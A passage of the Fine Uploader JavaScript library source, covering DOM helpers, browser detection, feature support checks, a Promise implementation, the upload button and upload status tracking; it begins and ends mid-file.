                    element.attachEvent("on" + type, fn);
                }
                return function() {
                    qq(element).detach(type, fn);
                };
            },
            detach: function(type, fn) {
                if (element.removeEventListener) {
                    element.removeEventListener(type, fn, false);
                } else if (element.attachEvent) {
                    element.detachEvent("on" + type, fn);
                }
                return this;
            },
            contains: function(descendant) {
                if (!descendant) {
                    return false;
                }
                if (element === descendant) {
                    return true;
                }
                if (element.contains) {
                    return element.contains(descendant);
                } else {
                    return !!(descendant.compareDocumentPosition(element) & 8);
                }
            },
            insertBefore: function(elementB) {
                elementB.parentNode.insertBefore(element, elementB);
                return this;
            },
            remove: function() {
                element.parentNode.removeChild(element);
                return this;
            },
            css: function(styles) {
                if (element.style == null) {
                    throw new qq.Error("Can't apply style to node as it is not on the HTMLElement prototype chain!");
                }
                if (styles.opacity != null) {
                    if (typeof element.style.opacity !== "string" && typeof element.filters !== "undefined") {
                        styles.filter = "alpha(opacity=" + Math.round(100 * styles.opacity) + ")";
                    }
                }
                qq.extend(element.style, styles);
                return this;
            },
            hasClass: function(name, considerParent) {
                var re = new RegExp("(^| )" + name + "( |$)");
                return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));
            },
            addClass: function(name) {
                if (!qq(element).hasClass(name)) {
                    element.className += " " + name;
                }
                return this;
            },
            removeClass: function(name) {
                var re = new RegExp("(^| )" + name + "( |$)");
                element.className = element.className.replace(re, " ").replace(/^\s+|\s+$/g, "");
                return this;
            },
            getByClass: function(className, first) {
                var candidates, result = [];
                if (first && element.querySelector) {
                    return element.querySelector("." + className);
                } else if (element.querySelectorAll) {
                    return element.querySelectorAll("." + className);
                }
                candidates = element.getElementsByTagName("*");
                qq.each(candidates, function(idx, val) {
                    if (qq(val).hasClass(className)) {
                        result.push(val);
                    }
                });
                return first ? result[0] : result;
            },
            getFirstByClass: function(className) {
                return qq(element).getByClass(className, true);
            },
            children: function() {
                var children = [], child = element.firstChild;
                while (child) {
                    if (child.nodeType === 1) {
                        children.push(child);
                    }
                    child = child.nextSibling;
                }
                return children;
            },
            setText: function(text) {
                element.innerText = text;
                element.textContent = text;
                return this;
            },
            clearText: function() {
                return qq(element).setText("");
            },
            hasAttribute: function(attrName) {
                var attrVal;
                if (element.hasAttribute) {
                    if (!element.hasAttribute(attrName)) {
                        return false;
                    }
                    return /^false$/i.exec(element.getAttribute(attrName)) == null;
                } else {
                    attrVal = element[attrName];
                    if (attrVal === undefined) {
                        return false;
                    }
                    return /^false$/i.exec(attrVal) == null;
                }
            }
        };
    };
    (function() {
        "use strict";
        qq.canvasToBlob = function(canvas, mime, quality) {
            return qq.dataUriToBlob(canvas.toDataURL(mime, quality));
        };
        qq.dataUriToBlob = function(dataUri) {
            var arrayBuffer, byteString, createBlob = function(data, mime) {
                var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder || window.MSBlobBuilder, blobBuilder = BlobBuilder && new BlobBuilder();
                if (blobBuilder) {
                    blobBuilder.append(data);
                    return blobBuilder.getBlob(mime);
                } else {
                    return new Blob([ data ], {
                        type: mime
                    });
                }
            }, intArray, mimeString;
            if (dataUri.split(",")[0].indexOf("base64") >= 0) {
                byteString = atob(dataUri.split(",")[1]);
            } else {
                byteString = decodeURI(dataUri.split(",")[1]);
            }
            mimeString = dataUri.split(",")[0].split(":")[1].split(";")[0];
            arrayBuffer = new ArrayBuffer(byteString.length);
            intArray = new Uint8Array(arrayBuffer);
            qq.each(byteString, function(idx, character) {
                intArray[idx] = character.charCodeAt(0);
            });
            return createBlob(arrayBuffer, mimeString);
        };
        qq.log = function(message, level) {
            if (window.console) {
                if (!level || level === "info") {
                    window.console.log(message);
                } else {
                    if (window.console[level]) {
                        window.console[level](message);
                    } else {
                        window.console.log("<" + level + "> " + message);
                    }
                }
            }
        };
        qq.isObject = function(variable) {
            return variable && !variable.nodeType && Object.prototype.toString.call(variable) === "[object Object]";
        };
        qq.isFunction = function(variable) {
            return typeof variable === "function";
        };
        qq.isArray = function(value) {
            return Object.prototype.toString.call(value) === "[object Array]" || value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer;
        };
        qq.isItemList = function(maybeItemList) {
            return Object.prototype.toString.call(maybeItemList) === "[object DataTransferItemList]";
        };
        qq.isNodeList = function(maybeNodeList) {
            return Object.prototype.toString.call(maybeNodeList) === "[object NodeList]" || maybeNodeList.item && maybeNodeList.namedItem;
        };
        qq.isString = function(maybeString) {
            return Object.prototype.toString.call(maybeString) === "[object String]";
        };
        qq.trimStr = function(string) {
            if (String.prototype.trim) {
                return string.trim();
            }
            return string.replace(/^\s+|\s+$/g, "");
        };
        qq.format = function(str) {
            var args = Array.prototype.slice.call(arguments, 1), newStr = str, nextIdxToReplace = newStr.indexOf("{}");
            qq.each(args, function(idx, val) {
                var strBefore = newStr.substring(0, nextIdxToReplace), strAfter = newStr.substring(nextIdxToReplace + 2);
                newStr = strBefore + val + strAfter;
                nextIdxToReplace = newStr.indexOf("{}", nextIdxToReplace + val.length);
                if (nextIdxToReplace < 0) {
                    return false;
                }
            });
            return newStr;
        };
        qq.isFile = function(maybeFile) {
            return window.File && Object.prototype.toString.call(maybeFile) === "[object File]";
        };
        qq.isFileList = function(maybeFileList) {
            return window.FileList && Object.prototype.toString.call(maybeFileList) === "[object FileList]";
        };
        qq.isFileOrInput = function(maybeFileOrInput) {
            return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);
        };
        qq.isInput = function(maybeInput, notFile) {
            var evaluateType = function(type) {
                var normalizedType = type.toLowerCase();
                if (notFile) {
                    return normalizedType !== "file";
                }
                return normalizedType === "file";
            };
            if (window.HTMLInputElement) {
                if (Object.prototype.toString.call(maybeInput) === "[object HTMLInputElement]") {
                    if (maybeInput.type && evaluateType(maybeInput.type)) {
                        return true;
                    }
                }
            }
            if (maybeInput.tagName) {
                if (maybeInput.tagName.toLowerCase() === "input") {
                    if (maybeInput.type && evaluateType(maybeInput.type)) {
                        return true;
                    }
                }
            }
            return false;
        };
        qq.isBlob = function(maybeBlob) {
            if (window.Blob && Object.prototype.toString.call(maybeBlob) === "[object Blob]") {
                return true;
            }
        };
        qq.isXhrUploadSupported = function() {
            var input = document.createElement("input");
            input.type = "file";
            return input.multiple !== undefined && typeof File !== "undefined" && typeof FormData !== "undefined" && typeof qq.createXhrInstance().upload !== "undefined";
        };
        qq.createXhrInstance = function() {
            if (window.XMLHttpRequest) {
                return new XMLHttpRequest();
            }
            try {
                return new ActiveXObject("MSXML2.XMLHTTP.3.0");
            } catch (error) {
                qq.log("Neither XHR or ActiveX are supported!", "error");
                return null;
            }
        };
        qq.isFolderDropSupported = function(dataTransfer) {
            return dataTransfer.items && dataTransfer.items.length > 0 && dataTransfer.items[0].webkitGetAsEntry;
        };
        qq.isFileChunkingSupported = function() {
            return !qq.androidStock() && qq.isXhrUploadSupported() && (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);
        };
        qq.sliceBlob = function(fileOrBlob, start, end) {
            var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;
            return slicer.call(fileOrBlob, start, end);
        };
        qq.arrayBufferToHex = function(buffer) {
            var bytesAsHex = "", bytes = new Uint8Array(buffer);
            qq.each(bytes, function(idx, byt) {
                var byteAsHexStr = byt.toString(16);
                if (byteAsHexStr.length < 2) {
                    byteAsHexStr = "0" + byteAsHexStr;
                }
                bytesAsHex += byteAsHexStr;
            });
            return bytesAsHex;
        };
        qq.readBlobToHex = function(blob, startOffset, length) {
            var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length), fileReader = new FileReader(), promise = new qq.Promise();
            fileReader.onload = function() {
                promise.success(qq.arrayBufferToHex(fileReader.result));
            };
            fileReader.onerror = promise.failure;
            fileReader.readAsArrayBuffer(initialBlob);
            return promise;
        };
        qq.extend = function(first, second, extendNested) {
            qq.each(second, function(prop, val) {
                if (extendNested && qq.isObject(val)) {
                    if (first[prop] === undefined) {
                        first[prop] = {};
                    }
                    qq.extend(first[prop], val, true);
                } else {
                    first[prop] = val;
                }
            });
            return first;
        };
        qq.override = function(target, sourceFn) {
            var super_ = {}, source = sourceFn(super_);
            qq.each(source, function(srcPropName, srcPropVal) {
                if (target[srcPropName] !== undefined) {
                    super_[srcPropName] = target[srcPropName];
                }
                target[srcPropName] = srcPropVal;
            });
            return target;
        };
        qq.indexOf = function(arr, elt, from) {
            if (arr.indexOf) {
                return arr.indexOf(elt, from);
            }
            from = from || 0;
            var len = arr.length;
            if (from < 0) {
                from += len;
            }
            for (;from < len; from += 1) {
                if (arr.hasOwnProperty(from) && arr[from] === elt) {
                    return from;
                }
            }
            return -1;
        };
        qq.getUniqueId = function() {
            return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) {
                var r = Math.random() * 16 | 0, v = c == "x" ? r : r & 3 | 8;
                return v.toString(16);
            });
        };
        qq.ie = function() {
            return navigator.userAgent.indexOf("MSIE") !== -1 || navigator.userAgent.indexOf("Trident") !== -1;
        };
        qq.ie7 = function() {
            return navigator.userAgent.indexOf("MSIE 7") !== -1;
        };
        qq.ie8 = function() {
            return navigator.userAgent.indexOf("MSIE 8") !== -1;
        };
        qq.ie10 = function() {
            return navigator.userAgent.indexOf("MSIE 10") !== -1;
        };
        qq.ie11 = function() {
            return qq.ie() && navigator.userAgent.indexOf("rv:11") !== -1;
        };
        qq.edge = function() {
            return navigator.userAgent.indexOf("Edge") >= 0;
        };
        qq.safari = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Apple") !== -1;
        };
        qq.chrome = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Google") !== -1;
        };
        qq.opera = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Opera") !== -1;
        };
        qq.firefox = function() {
            return !qq.edge() && !qq.ie11() && navigator.userAgent.indexOf("Mozilla") !== -1 && navigator.vendor !== undefined && navigator.vendor === "";
        };
        qq.windows = function() {
            return navigator.platform === "Win32";
        };
        qq.android = function() {
            return navigator.userAgent.toLowerCase().indexOf("android") !== -1;
        };
        qq.androidStock = function() {
            return qq.android() && navigator.userAgent.toLowerCase().indexOf("chrome") < 0;
        };
        qq.ios6 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 6_") !== -1;
        };
        qq.ios7 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 7_") !== -1;
        };
        qq.ios8 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 8_") !== -1;
        };
        qq.ios800 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 8_0 ") !== -1;
        };
        qq.ios = function() {
            return navigator.userAgent.indexOf("iPad") !== -1 || navigator.userAgent.indexOf("iPod") !== -1 || navigator.userAgent.indexOf("iPhone") !== -1;
        };
        qq.iosChrome = function() {
            return qq.ios() && navigator.userAgent.indexOf("CriOS") !== -1;
        };
        qq.iosSafari = function() {
            return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf("Safari") !== -1;
        };
        qq.iosSafariWebView = function() {
            return qq.ios() && !qq.iosChrome() && !qq.iosSafari();
        };
        qq.preventDefault = function(e) {
            if (e.preventDefault) {
                e.preventDefault();
            } else {
                e.returnValue = false;
            }
        };
        qq.toElement = function() {
            var div = document.createElement("div");
            return function(html) {
                div.innerHTML = html;
                var element = div.firstChild;
                div.removeChild(element);
                return element;
            };
        }();
        qq.each = function(iterableItem, callback) {
            var keyOrIndex, retVal;
            if (iterableItem) {
                if (window.Storage && iterableItem.constructor === window.Storage) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));
                        if (retVal === false) {
                            break;
                        }
                    }
                } else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);
                        if (retVal === false) {
                            break;
                        }
                    }
                } else if (qq.isString(iterableItem)) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));
                        if (retVal === false) {
                            break;
                        }
                    }
                } else {
                    for (keyOrIndex in iterableItem) {
                        if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {
                            retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);
                            if (retVal === false) {
                                break;
                            }
                        }
                    }
                }
            }
        };
        qq.bind = function(oldFunc, context) {
            if (qq.isFunction(oldFunc)) {
                var args = Array.prototype.slice.call(arguments, 2);
                return function() {
                    var newArgs = qq.extend([], args);
                    if (arguments.length) {
                        newArgs = newArgs.concat(Array.prototype.slice.call(arguments));
                    }
                    return oldFunc.apply(context, newArgs);
                };
            }
            throw new Error("first parameter must be a function!");
        };
        qq.obj2url = function(obj, temp, prefixDone) {
            var uristrings = [], prefix = "&", add = function(nextObj, i) {
                var nextTemp = temp ? /\[\]$/.test(temp) ? temp : temp + "[" + i + "]" : i;
                if (nextTemp !== "undefined" && i !== "undefined") {
                    uristrings.push(typeof nextObj === "object" ? qq.obj2url(nextObj, nextTemp, true) : Object.prototype.toString.call(nextObj) === "[object Function]" ? encodeURIComponent(nextTemp) + "=" + encodeURIComponent(nextObj()) : encodeURIComponent(nextTemp) + "=" + encodeURIComponent(nextObj));
                }
            };
            if (!prefixDone && temp) {
                prefix = /\?/.test(temp) ? /\?$/.test(temp) ? "" : "&" : "?";
                uristrings.push(temp);
                uristrings.push(qq.obj2url(obj));
            } else if (Object.prototype.toString.call(obj) === "[object Array]" && typeof obj !== "undefined") {
                qq.each(obj, function(idx, val) {
                    add(val, idx);
                });
            } else if (typeof obj !== "undefined" && obj !== null && typeof obj === "object") {
                qq.each(obj, function(prop, val) {
                    add(val, prop);
                });
            } else {
                uristrings.push(encodeURIComponent(temp) + "=" + encodeURIComponent(obj));
            }
            if (temp) {
                return uristrings.join(prefix);
            } else {
                return uristrings.join(prefix).replace(/^&/, "").replace(/%20/g, "+");
            }
        };
        qq.obj2FormData = function(obj, formData, arrayKeyName) {
            if (!formData) {
                formData = new FormData();
            }
            qq.each(obj, function(key, val) {
                key = arrayKeyName ? arrayKeyName + "[" + key + "]" : key;
                if (qq.isObject(val)) {
                    qq.obj2FormData(val, formData, key);
                } else if (qq.isFunction(val)) {
                    formData.append(key, val());
                } else {
                    formData.append(key, val);
                }
            });
            return formData;
        };
        qq.obj2Inputs = function(obj, form) {
            var input;
            if (!form) {
                form = document.createElement("form");
            }
            qq.obj2FormData(obj, {
                append: function(key, val) {
                    input = document.createElement("input");
                    input.setAttribute("name", key);
                    input.setAttribute("value", val);
                    form.appendChild(input);
                }
            });
            return form;
        };
        qq.parseJson = function(json) {
            if (window.JSON && qq.isFunction(JSON.parse)) {
                return JSON.parse(json);
            } else {
                return eval("(" + json + ")");
            }
        };
        qq.getExtension = function(filename) {
            var extIdx = filename.lastIndexOf(".") + 1;
            if (extIdx > 0) {
                return filename.substr(extIdx, filename.length - extIdx);
            }
        };
        qq.getFilename = function(blobOrFileInput) {
            if (qq.isInput(blobOrFileInput)) {
                return blobOrFileInput.value.replace(/.*(\/|\\)/, "");
            } else if (qq.isFile(blobOrFileInput)) {
                if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {
                    return blobOrFileInput.fileName;
                }
            }
            return blobOrFileInput.name;
        };
        qq.DisposeSupport = function() {
            var disposers = [];
            return {
                dispose: function() {
                    var disposer;
                    do {
                        disposer = disposers.shift();
                        if (disposer) {
                            disposer();
                        }
                    } while (disposer);
                },
                attach: function() {
                    var args = arguments;
                    this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));
                },
                addDisposer: function(disposeFunction) {
                    disposers.push(disposeFunction);
                }
            };
        };
    })();
    (function() {
        "use strict";
        if (typeof define === "function" && define.amd) {
            define(function() {
                return qq;
            });
        } else if (typeof module !== "undefined" && module.exports) {
            module.exports = qq;
        } else {
            global.qq = qq;
        }
    })();
    (function() {
        "use strict";
        qq.Error = function(message) {
            this.message = "[Fine Uploader " + qq.version + "] " + message;
        };
        qq.Error.prototype = new Error();
    })();
    qq.version = "5.11.8";
    qq.supportedFeatures = function() {
        "use strict";
        var supportsUploading, supportsUploadingBlobs, supportsFileDrop, supportsAjaxFileUploading, supportsFolderDrop, supportsChunking, supportsResume, supportsUploadViaPaste, supportsUploadCors, supportsDeleteFileXdr, supportsDeleteFileCorsXhr, supportsDeleteFileCors, supportsFolderSelection, supportsImagePreviews, supportsUploadProgress;
        function testSupportsFileInputElement() {
            var supported = true, tempInput;
            try {
                tempInput = document.createElement("input");
                tempInput.type = "file";
                qq(tempInput).hide();
                if (tempInput.disabled) {
                    supported = false;
                }
            } catch (ex) {
                supported = false;
            }
            return supported;
        }
        function isChrome21OrHigher() {
            return (qq.chrome() || qq.opera()) && navigator.userAgent.match(/Chrome\/[2][1-9]|Chrome\/[3-9][0-9]/) !== undefined;
        }
        function isChrome14OrHigher() {
            return (qq.chrome() || qq.opera()) && navigator.userAgent.match(/Chrome\/[1][4-9]|Chrome\/[2-9][0-9]/) !== undefined;
        }
        function isCrossOriginXhrSupported() {
            if (window.XMLHttpRequest) {
                var xhr = qq.createXhrInstance();
                return xhr.withCredentials !== undefined;
            }
            return false;
        }
        function isXdrSupported() {
            return window.XDomainRequest !== undefined;
        }
        function isCrossOriginAjaxSupported() {
            if (isCrossOriginXhrSupported()) {
                return true;
            }
            return isXdrSupported();
        }
        function isFolderSelectionSupported() {
            return document.createElement("input").webkitdirectory !== undefined;
        }
        function isLocalStorageSupported() {
            try {
                return !!window.localStorage && qq.isFunction(window.localStorage.setItem);
            } catch (error) {
                return false;
            }
        }
        function isDragAndDropSupported() {
            var span = document.createElement("span");
            return ("draggable" in span || "ondragstart" in span && "ondrop" in span) && !qq.android() && !qq.ios();
        }
        supportsUploading = testSupportsFileInputElement();
        supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();
        supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();
        supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();
        supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();
        supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();
        supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();
        supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();
        supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);
        supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();
        supportsDeleteFileXdr = isXdrSupported();
        supportsDeleteFileCors = isCrossOriginAjaxSupported();
        supportsFolderSelection = isFolderSelectionSupported();
        supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;
        supportsUploadProgress = function() {
            if (supportsAjaxFileUploading) {
                return !qq.androidStock() && !qq.iosChrome();
            }
            return false;
        }();
        return {
            ajaxUploading: supportsAjaxFileUploading,
            blobUploading: supportsUploadingBlobs,
            canDetermineSize: supportsAjaxFileUploading,
            chunking: supportsChunking,
            deleteFileCors: supportsDeleteFileCors,
            deleteFileCorsXdr: supportsDeleteFileXdr,
            deleteFileCorsXhr: supportsDeleteFileCorsXhr,
            dialogElement: !!window.HTMLDialogElement,
            fileDrop: supportsFileDrop,
            folderDrop: supportsFolderDrop,
            folderSelection: supportsFolderSelection,
            imagePreviews: supportsImagePreviews,
            imageValidation: supportsImagePreviews,
            itemSizeValidation: supportsAjaxFileUploading,
            pause: supportsChunking,
            progressBar: supportsUploadProgress,
            resume: supportsResume,
            scaling: supportsImagePreviews && supportsUploadingBlobs,
            tiffPreviews: qq.safari(),
            unlimitedScaledImageSize: !qq.ios(),
            uploading: supportsUploading,
            uploadCors: supportsUploadCors,
            uploadCustomHeaders: supportsAjaxFileUploading,
            uploadNonMultipart: supportsAjaxFileUploading,
            uploadViaPaste: supportsUploadViaPaste
        };
    }();
    qq.isGenericPromise = function(maybePromise) {
        "use strict";
        return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));
    };
    qq.Promise = function() {
        "use strict";
        var successArgs, failureArgs, successCallbacks = [], failureCallbacks = [], doneCallbacks = [], state = 0;
        qq.extend(this, {
            then: function(onSuccess, onFailure) {
                if (state === 0) {
                    if (onSuccess) {
                        successCallbacks.push(onSuccess);
                    }
                    if (onFailure) {
                        failureCallbacks.push(onFailure);
                    }
                } else if (state === -1) {
                    onFailure && onFailure.apply(null, failureArgs);
                } else if (onSuccess) {
                    onSuccess.apply(null, successArgs);
                }
                return this;
            },
            done: function(callback) {
                if (state === 0) {
                    doneCallbacks.push(callback);
                } else {
                    callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);
                }
                return this;
            },
            success: function() {
                state = 1;
                successArgs = arguments;
                if (successCallbacks.length) {
                    qq.each(successCallbacks, function(idx, callback) {
                        callback.apply(null, successArgs);
                    });
                }
                if (doneCallbacks.length) {
                    qq.each(doneCallbacks, function(idx, callback) {
                        callback.apply(null, successArgs);
                    });
                }
                return this;
            },
            failure: function() {
                state = -1;
                failureArgs = arguments;
                if (failureCallbacks.length) {
                    qq.each(failureCallbacks, function(idx, callback) {
                        callback.apply(null, failureArgs);
                    });
                }
                if (doneCallbacks.length) {
                    qq.each(doneCallbacks, function(idx, callback) {
                        callback.apply(null, failureArgs);
                    });
                }
                return this;
            }
        });
    };
    qq.BlobProxy = function(referenceBlob, onCreate) {
        "use strict";
        qq.extend(this, {
            referenceBlob: referenceBlob,
            create: function() {
                return onCreate(referenceBlob);
            }
        });
    };
    qq.UploadButton = function(o) {
        "use strict";
        var self = this, disposeSupport = new qq.DisposeSupport(), options = {
            acceptFiles: null,
            element: null,
            focusClass: "qq-upload-button-focus",
            folders: false,
            hoverClass: "qq-upload-button-hover",
            ios8BrowserCrashWorkaround: false,
            multiple: false,
            name: "qqfile",
            onChange: function(input) {},
            title: null
        }, input, buttonId;
        qq.extend(options, o);
        buttonId = qq.getUniqueId();
        function createInput() {
            var input = document.createElement("input");
            input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);
            input.setAttribute("title", options.title);
            self.setMultiple(options.multiple, input);
            if (options.folders && qq.supportedFeatures.folderSelection) {
                input.setAttribute("webkitdirectory", "");
            }
            if (options.acceptFiles) {
                input.setAttribute("accept", options.acceptFiles);
            }
            input.setAttribute("type", "file");
            input.setAttribute("name", options.name);
            qq(input).css({
                position: "absolute",
                right: 0,
                top: 0,
                fontFamily: "Arial",
                fontSize: qq.ie() && !qq.ie8() ? "3500px" : "118px",
                margin: 0,
                padding: 0,
                cursor: "pointer",
                opacity: 0
            });
            !qq.ie7() && qq(input).css({
                height: "100%"
            });
            options.element.appendChild(input);
            disposeSupport.attach(input, "change", function() {
                options.onChange(input);
            });
            disposeSupport.attach(input, "mouseover", function() {
                qq(options.element).addClass(options.hoverClass);
            });
            disposeSupport.attach(input, "mouseout", function() {
                qq(options.element).removeClass(options.hoverClass);
            });
            disposeSupport.attach(input, "focus", function() {
                qq(options.element).addClass(options.focusClass);
            });
            disposeSupport.attach(input, "blur", function() {
                qq(options.element).removeClass(options.focusClass);
            });
            return input;
        }
        qq(options.element).css({
            position: "relative",
            overflow: "hidden",
            direction: "ltr"
        });
        qq.extend(this, {
            getInput: function() {
                return input;
            },
            getButtonId: function() {
                return buttonId;
            },
            setMultiple: function(isMultiple, optInput) {
                var input = optInput || this.getInput();
                if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {
                    input.setAttribute("multiple", "");
                } else {
                    if (isMultiple) {
                        input.setAttribute("multiple", "");
                    } else {
                        input.removeAttribute("multiple");
                    }
                }
            },
            setAcceptFiles: function(acceptFiles) {
                if (acceptFiles !== options.acceptFiles) {
                    input.setAttribute("accept", acceptFiles);
                }
            },
            reset: function() {
                if (input.parentNode) {
                    qq(input).remove();
                }
                qq(options.element).removeClass(options.focusClass);
                input = null;
                input = createInput();
            }
        });
        input = createInput();
    };
    qq.UploadButton.BUTTON_ID_ATTR_NAME = "qq-button-id";
    qq.UploadData = function(uploaderProxy) {
        "use strict";
        var data = [], byUuid = {}, byStatus = {}, byProxyGroupId = {}, byBatchId = {};
        function getDataByIds(idOrIds) {
            if (qq.isArray(idOrIds)) {
                var entries = [];
                qq.each(idOrIds, function(idx, id) {
                    entries.push(data[id]);
                });
                return entries;
            }
            return data[idOrIds];
        }
        function getDataByUuids(uuids) {
            if (qq.isArray(uuids)) {
                var entries = [];
                qq.each(uuids, function(idx, uuid) {
                    entries.push(data[byUuid[uuid]]);
                });
                return entries;
            }
            return data[byUuid[uuids]];
        }
        function getDataByStatus(status) {
            var statusResults = [], statuses = [].concat(status);
            qq.each(statuses, function(index, statusEnum) {
                var statusResultIndexes = byStatus[statusEnum];
                if (statusResultIndexes !== undefined) {
                    qq.each(statusResultIndexes, function(i, dataIndex) {
                        statusResults.push(data[dataIndex]);
                    });
                }
            });
            return statusResults;
        }
        qq.extend(this, {
            addFile: function(spec) {
                var status = spec.status || qq.status.SUBMITTING, id = data.push({
                    name: spec.name,
                    originalName: spec.name,
                    uuid: spec.uuid,
                    size: spec.size == null ? -1 : spec.size,
                    status: status
                }) - 1;
                if (spec.batchId) {
                    data[id].batchId = spec.batchId;
                    if (byBatchId[spec.batchId] === undefined) {
                        byBatchId[spec.batchId] = [];
                    }
                    byBatchId[spec.batchId].push(id);
                }
                if (spec.proxyGroupId) {
                    data[id].proxyGroupId = spec.proxyGroupId;
                    if (byProxyGroupId[spec.proxyGroupId] === undefined) {
                        byProxyGroupId[spec.proxyGroupId] = [];
                    }
                    byProxyGroupId[spec.proxyGroupId].push(id);
                }
                data[id].id = id;
                byUuid[spec.uuid] = id;
                if (byStatus[status] === undefined) {
                    byStatus[status] = [];
                }
                byStatus[status].push(id);
                uploaderProxy.onStatusChange(id, null, status);
                return id;
            },
            retrieve: function(optionalFilter) {
                if (qq.isObject(optionalFilter) && data.length) {
                    if (optionalFilter.id !== undefined) {
                        return getDataByIds(optionalFilter.id);
                    } else if (optionalFilter.uuid !== undefined) {
                        return getDataByUuids(optionalFilter.uuid);
                    } else if (optionalFilter.status) {
                        return getDataByStatus(optionalFilter.status);
                    }
                } else {
                    return qq.extend([], data, true);
                }
            },
            reset: function() {
                data = [];
                byUuid = {};
                byStatus = {};
                byBatchId = {};
            },
            setStatus: function(id, newStatus) {
                var oldStatus = data[id].status, byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);
                byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);
                data[id].status = newStatus;
                if (byStatus[newStatus] === undefined) {
                    byStatus[newStatus] = [];
                }
                byStatus[newStatus].push(id);
                uploaderProxy.onStatusChange(id, oldStatus, newStatus);
            },
            uuidChanged: function(id, newUuid) {
                var oldUuid = data[id].uuid;
                data[id].uuid = newUuid;
                byUuid[newUuid] = id;
                delete byUuid[oldUuid];
            },
            updateName: function(id, newName) {
                data[id].name = newName;
            },
            updateSize: function(id, newSize) {
                data[id].size = newSize;
            },
            setParentId: function(targetId, parentId) {
                data[targetId].parentId = parentId;
            },
            getIdsInProxyGroup: function(id) {
                var proxyGroupId = data[id].proxyGroupId;
                if (proxyGroupId) {
                    return byProxyGroupId[proxyGroupId];
                }
                return [];
            },
            getIdsInBatch: function(id) {
                var batchId = data[id].batchId;
                return byBatchId[batchId];
            }
        });
    };
    qq.status = {
        SUBMITTING: "submitting",
        SUBMITTED: "submitted",
        REJECTED: "rejected",
        QUEUED: "queued",
        CANCELED: "canceled",
        PAUSED: "paused",
        UPLOADING: "uploading",
        UPLOAD_RETRYING: "retrying upload",
        UPLOAD_SUCCESSFUL: "upload successful",
        UPLOAD_FAILED: "upload failed",
        DELETE_FAILED: "delete failed",
        DELETING: "deleting",
        DELETED: "deleted"
    };
    (function() {
        "use strict";
        qq.basePublicApi = {
            addBlobs: function(blobDataOrArray, params, endpoint) {
                this.addFiles(blobDataOrArray, params, endpoint);
            },
            addInitialFiles: function(cannedFileList) {
                var self = this;
                qq.each(cannedFileList, function(index, cannedFile) {
                    self._addCannedFile(cannedFile);
                });
            },
            addFiles: function(data, params, endpoint) {
                this._maybeHandleIos8SafariWorkaround();
                var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId, processBlob = qq.bind(function(blob) {
                    this._handleNewFile({
                        blob: blob,
                        name: this._options.blobs.defaultName
                    }, batchId, verifiedFiles);
                }, this), processBlobData = qq.bind(function(blobData) {
                    this._handleNewFile(blobData, batchId, verifiedFiles);
                }, this), processCanvas = qq.bind(function(canvas) {
                    var blob = qq.canvasToBlob(canvas);
                    this._handleNewFile({
                        blob: blob,
                        name: this._options.blobs.defaultName + ".png"
                    }, batchId, verifiedFiles);
                }, this), processCanvasData = qq.bind(function(canvasData) {
                    var normalizedQuality = canvasData.quality && canvasData.quality / 100, blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);
                    this._handleNewFile({
                        blob: blob,
                        name: canvasData.name
                    }, batchId, verifiedFiles);
                }, this), processFileOrInput = qq.bind(function(fileOrInput) {
                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {
                        var files = Array.prototype.slice.call(fileOrInput.files), self = this;
                        qq.each(files, function(idx, file) {
                            self._handleNewFile(file, batchId, verifiedFiles);
                        });
                    } else {
                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);
                    }
                }, this), normalizeData = function() {
                    if (qq.isFileList(data)) {
